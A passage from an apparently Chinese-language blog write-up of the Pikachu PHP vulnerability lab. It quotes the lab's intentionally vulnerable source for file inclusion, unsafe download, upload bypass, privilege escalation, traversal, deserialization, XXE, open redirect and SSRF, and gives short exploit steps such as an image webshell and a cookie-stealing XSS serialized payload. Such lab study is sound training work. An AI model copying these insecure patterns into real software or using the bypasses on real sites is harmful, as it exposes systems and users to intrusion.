 传入的参数直接进行了包含,应当使用白名单,规定传入的文件名

2、远程文件包含

 

源码:

  1. $html1='';
  2. if(!ini_get('allow_url_include')){
  3. $html1.='<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>';
  4. }
  5. $html2='';
  6. if(!ini_get('allow_url_fopen')){
  7. $html2.='<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>';
  8. }
  9. $html3='';
  10. if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
  11. $html3.='<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>';
  12. }
  13. //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
  14. $html='';
  15. if(isset($_GET['submit']) && $_GET['filename']!=null){
  16. $filename=$_GET['filename'];
  17. include '$filename';//变量传进来直接包含,没做任何的安全限制
  18. }

远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。

 六、unsafedownload

 有文件下载的途径,可以尝试一下修改filename的值

 源码:

  1. <?php
  2. $PIKA_ROOT_DIR = '../../';
  3. include_once $PIKA_ROOT_DIR.'inc/function.php';
  4. $file_path='download/{$_GET['filename']}';
  5. //用以解决中文不能显示出来的问题
  6. $file_path=iconv('utf-8','gb2312',$file_path);
  7. //首先要判断给定的文件存在与否
  8. if(!file_exists($file_path)){
  9. skip('你要下载的文件不存在,请重新下载', 'unsafe_down.php');
  10. return ;
  11. }
  12. $fp=fopen($file_path,'rb');
  13. $file_size=filesize($file_path);
  14. //下载文件需要用到的头
  15. ob_clean();//输出前一定要clean一下,否则图片打不开
  16. Header('Content-type: application/octet-stream');
  17. Header('Accept-Ranges: bytes');
  18. Header('Accept-Length:'.$file_size);
  19. Header('Content-Disposition: attachment; filename='.basename($file_path));
  20. $buffer=1024;
  21. $file_count=0;
  22. //向浏览器返回数据
  23. //循环读取文件流,然后返回到浏览器feof确认是否到EOF
  24. while(!feof($fp) && $file_count<$file_size){
  25. $file_con=fread($fp,$buffer);
  26. $file_count+=$buffer;
  27. echo $file_con;
  28. }
  29. fclose($fp);
  30. ?>

 对于传入的文件路径参数未经过任何过滤即允许下载,不安全。

七、 文件上传

1,client check

前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。

 

源码:

  1. function checkFileExt(filename)
  2. {
  3. var flag = false; //状态
  4. var arr = ['jpg','png','gif'];
  5. //取出上传文件的扩展名
  6. var index = filename.lastIndexOf('.');
  7. var ext = filename.substr(index+1);
  8. //比较
  9. for(var i=0;i<arr.length;i++)
  10. {
  11. if(ext == arr[i])
  12. {
  13. flag = true; //一旦找到合适的,立即退出循环
  14. break;
  15. }
  16. }
  17. //条件判断
  18. if(!flag)
  19. {
  20. alert('上传的文件不符合要求,请重新选择!');
  21. location.reload(true);
  22. }
  23. }

 根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。

2,MIME-type

对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg

 

源码:

  1. $html='';
  2. if(isset($_POST['submit'])){
  3. $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
  4. $save_path='uploads';//指定在当前目录建立一个目录
  5. $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
  6. if($upload['return']){
  7. $html.='<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>';
  8. }else{
  9. $html.='<p class=notice>{$upload['error']}</p>';
  10. }
  11. }
  12. ?>
  13. //只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
  14. function upload_sick($key,$mime,$save_path){
  15. $arr_errors=array(
  16. 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
  17. 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
  18. 3=>'文件只有部分被上传',
  19. 4=>'没有文件被上传',
  20. 6=>'找不到临时文件夹',
  21. 7=>'文件写入失败'
  22. );
  23. if(!isset($_FILES[$key]['error'])){
  24. $return_data['error']='请选择上传文件!';
  25. $return_data['return']=false;
  26. return $return_data;
  27. }
  28. if ($_FILES[$key]['error']!=0) {
  29. $return_data['error']=$arr_errors[$_FILES[$key]['error']];
  30. $return_data['return']=false;
  31. return $return_data;
  32. }
  33. //验证一下MIME类型
  34. if(!in_array($_FILES[$key]['type'], $mime)){
  35. $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
  36. $return_data['return']=false;
  37. return $return_data;
  38. }
  39. //新建一个保存文件的目录
  40. if(!file_exists($save_path)){
  41. if(!mkdir($save_path,0777,true)){
  42. $return_data['error']='上传文件保存目录创建失败,请检查权限!';
  43. $return_data['return']=false;
  44. return $return_data;
  45. }
  46. }
  47. $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
  48. if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
  49. $return_data['error']='临时文件移动失败,请检查权限!';
  50. $return_data['return']=false;
  51. return $return_data;
  52. }
  53. //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
  54. $return_data['new_path']=$save_path.$_FILES[$key]['name'];
  55. $return_data['return']=true;
  56. return $return_data;
  57. }

用upload_sick()对文件的type进行检查,不是jpg和png图片则不行,不可靠。 

 3,getimagesize

 直接上传图片马,绕过所有的检查

 

此时图片只是图片,需要联和文件包含漏洞执行文件 

 

源码:

  1. //进行了严格的验证
  2. function upload($key,$size,$type=array(),$mime=array(),$save_path){
  3. $arr_errors=array(
  4. 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
  5. 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
  6. 3=>'文件只有部分被上传',
  7. 4=>'没有文件被上传',
  8. 6=>'找不到临时文件夹',
  9. 7=>'文件写入失败'
  10. );
  11. if(!isset($_FILES[$key]['error'])){
  12. $return_data['error']='请选择上传文件!';
  13. $return_data['return']=false;
  14. return $return_data;
  15. }
  16. if ($_FILES[$key]['error']!=0) {
  17. $return_data['error']=$arr_errors[$_FILES[$key]['error']];
  18. $return_data['return']=false;
  19. return $return_data;
  20. }
  21. //验证上传方式
  22. if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
  23. $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
  24. $return_data['return']=false;
  25. return $return_data;
  26. }
  27. //获取后缀名,如果不存在后缀名,则将变量设置为空
  28. $arr_filename=pathinfo($_FILES[$key]['name']);
  29. if(!isset($arr_filename['extension'])){
  30. $arr_filename['extension']='';
  31. }
  32. //先验证后缀名
  33. if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
  34. $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
  35. $return_data['return']=false;
  36. return $return_data;
  37. }
  38. //验证MIME类型,MIME类型可以被绕过
  39. if(!in_array($_FILES[$key]['type'], $mime)){
  40. $return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
  41. $return_data['return']=false;
  42. return $return_data;
  43. }
  44. //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
  45. if(!getimagesize($_FILES[$key]['tmp_name'])){
  46. $return_data['error']='你上传的是个假图片,不要欺骗我!';
  47. $return_data['return']=false;
  48. return $return_data;
  49. }
  50. //验证大小
  51. if($_FILES[$key]['size']>$size){
  52. $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
  53. $return_data['return']=false;
  54. return $return_data;
  55. }
  56. //把上传的文件给他搞一个新的路径存起来
  57. if(!file_exists($save_path)){
  58. if(!mkdir($save_path,0777,true)){
  59. $return_data['error']='上传文件保存目录创建失败,请检查权限!';
  60. $return_data['return']=false;
  61. return $return_data;
  62. }
  63. }
  64. //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
  65. $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
  66. if($arr_filename['extension']!=''){
  67. $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
  68. $new_filename.='.{$arr_filename['extension']}';
  69. }
  70. //将tmp目录里面的文件拷贝到指定目录下并使用新的名称
  71. $save_path=rtrim($save_path,'/').'/';
  72. if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
  73. $return_data['error']='临时文件移动失败,请检查权限!';
  74. $return_data['return']=false;
  75. return $return_data;
  76. }
  77. //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
  78. $return_data['save_path']=$save_path.$new_filename;
  79. $return_data['filename']=$new_filename;
  80. $return_data['return']=true;
  81. return $return_data;
  82. }
  83. ?>
  84. getmagesize.php文件:
  85. if(isset($_POST['submit'])){
  86. $type=array('jpg','jpeg','png');//指定类型
  87. $mime=array('image/jpg','image/jpeg','image/png');
  88. $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
  89. $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
  90. if($upload['return']){
  91. $html.='<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>';
  92. }else{
  93. $html.='<p class=notice>{$upload['error']}</p>';
  94. }
  95. }
  96. ?>

 服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。

 八、越权

1,水平越权

根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。 

源码:

  1. if(isset($_GET['submit']) && $_GET['username']!=null){
  2. $username=escape($link, $_GET['username']);
  3. $query='select * from member where username='$username'';
  4. $result=execute($link, $query);
  5. if(mysqli_num_rows($result)==1){
  6. $data=mysqli_fetch_assoc($result);
  7. $uname=$data['username'];
  8. $sex=$data['sex'];
  9. $phonenum=$data['phonenum'];
  10. $add=$data['address'];
  11. $email=$data['email'];

没有将传入的username进行session校验,而是直接使用传入的值查询。

 2,水平越权

 使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包

 

 

 添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包

 

 

垂直越权成功,普通用户能执行管理员用户添加用户的权限。 

源码:

  1. admin.php:
  2. $link=connect();
  3. // 判断是否登录,没有登录不能访问
  4. //如果没登录,或者level不等于1,都就干掉
  5. if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
  6. header('location:op2_login.php');
  7. exit();
  8. }
  9. //删除
  10. if(isset($_GET['id'])){
  11. $id=escape($link, $_GET['id']);//转义
  12. $query='delete from member where id={$id}';
  13. execute($link, $query);
  14. }
  15. if(isset($_GET['logout']) && $_GET['logout'] == 1){
  16. session_unset();
  17. session_destroy();
  18. setcookie(session_name(),'',time()-3600,'/');
  19. header('location:op2_login.php');
  20. }
  21. ?>
  22. admin_edit.php:
  23. $link=connect();
  24. if(!check_op2_login($link)){
  25. header('location:op2_login.php');
  26. exit();
  27. }
  28. if(isset($_POST['submit'])){
  29. if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
  30. $getdata=escape($link, $_POST);//转义
  31. $query='insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')';
  32. $result=execute($link, $query);
  33. if(mysqli_affected_rows($link)==1){//判断是否插入
  34. header('location:op2_admin.php');
  35. }else {
  36. $html.='<p>修改失败,请检查下数据库是不是还是活着的</p>';
  37. }
  38. }
  39. }
  40. user.php:
  41. $link=connect();
  42. // 判断是否登录,没有登录不能访问
  43. if(!check_op2_login($link)){
  44. header('location:op2_login.php');
  45. }
  46. if(isset($_GET['logout']) && $_GET['logout'] == 1){
  47. session_unset();
  48. session_destroy();
  49. setcookie(session_name(),'',time()-3600,'/');
  50. header('location:op2_login.php');
  51. }
  52. ?>
  53. login.php:
  54. if(isset($_POST['submit'])){
  55. if($_POST['username']!=null && $_POST['password']!=null){
  56. $username=escape($link, $_POST['username']);
  57. $password=escape($link, $_POST['password']);//转义,防注入
  58. $query='select * from users where username='$username' and password=md5('$password')';
  59. $result=execute($link, $query);
  60. if(mysqli_num_rows($result)==1){
  61. $data=mysqli_fetch_assoc($result);
  62. if($data['level']==1){//如果级别是1,进入admin.php
  63. $_SESSION['op2']['username']=$username;
  64. $_SESSION['op2']['password']=sha1(md5($password));
  65. $_SESSION['op2']['level']=1;
  66. header('location:op2_admin.php');
  67. }
  68. if($data['level']==2){//如果级别是2,进入user.php
  69. $_SESSION['op2']['username']=$username;
  70. $_SESSION['op2']['password']=sha1(md5($password));
  71. $_SESSION['op2']['level']=2;
  72. header('location:op2_user.php');
  73. }
  74. }else{
  75. //查询不到,登录失败
  76. $html.='<p>登录失败,请重新登录</p>';
  77. }
  78. }
  79. }
  80. ?>

 根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。

九、目录遍历 

这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。 

 果然如此,通过修改titile的参数能进行目录遍历读取文件。

源码:

  1. if(isset($_GET['title'])){
  2. $filename=$_GET['title'];
  3. require 'soup/$filename';
  4. }
  5. ?>

 直接使用了require包含了传入的title参数,跟include一个道理。

include和require的区别如下:

1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require('test.php') echo 1;  include('test.php') echo 1; 如果test.php不存在,include会输出1,require不会。

2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。

十、敏感信息泄露

 源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。

十一、PHP反序列化

 

反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:

 

 

 源码分析:

  1. class S{
  2. var $test = 'pikachu';
  3. function __construct(){
  4. echo $this->test;
  5. }
  6. }
  7. $html='';
  8. if(isset($_POST['o'])){
  9. $s = $_POST['o'];
  10. if(!@$unser = unserialize($s)){
  11. $html.='<p>大兄弟,来点劲爆点儿的!</p>';
  12. }else{
  13. $html.='<p>{$unser->test}</p>';
  14. }
  15. }
  16. ?>
  17. <?php echo $html;?>

 类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:'S':1:{s:4:'test';s:39:'<script>alert(document.cookie)</script>';}

对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。

序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。

 十一、XXE

 

具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。 

源码:
 

  1. $html='';
  2. if(isset($_POST['submit']) and $_POST['xml'] != null){
  3. $xml =$_POST['xml'];
  4. $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
  5. if($data){
  6. $html.='<pre>{$data}</pre>';
  7. }else{
  8. $html.='<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>';
  9. }
  10. }
  11. ?>

simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析

 主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。

 十二、URL重定向

 点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。

 源码:

  1. $html='';
  2. if(isset($_GET['url']) && $_GET['url'] != null){
  3. $url = $_GET['url'];
  4. if($url == 'i'){
  5. $html.='<p>好的,希望你能坚持做你自己!</p>';
  6. }else {
  7. header('location:{$url}');
  8. }
  9. }
  10. ?>

变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。

十三、 SSRF(服务端请求伪造)

1、curl

 url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。

 

源码:

  1. if(isset($_GET['url']) && $_GET['url'] != null){
  2. $URL = $_GET['url'];
  3. $CH = curl_init($URL);
  4. curl_setopt($CH, CURLOPT_HEADER, FALSE);
  5. curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
  6. $RES = curl_exec($CH);
  7. curl_close($CH) ;
  8. echo $RES;
  9. }
  10. ?>

 使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。

2,file_get_content

 

源码: 

  1. if(isset($_GET['file']) && $_GET['file'] !=null){
  2. $filename = $_GET['file'];
  3. $str = file_get_contents($filename);
  4. echo $str;
  5. }
  6. ?>

 使用PHP函数file_get_content()读取文件且未进行白名单过滤

总结、

pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。 

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约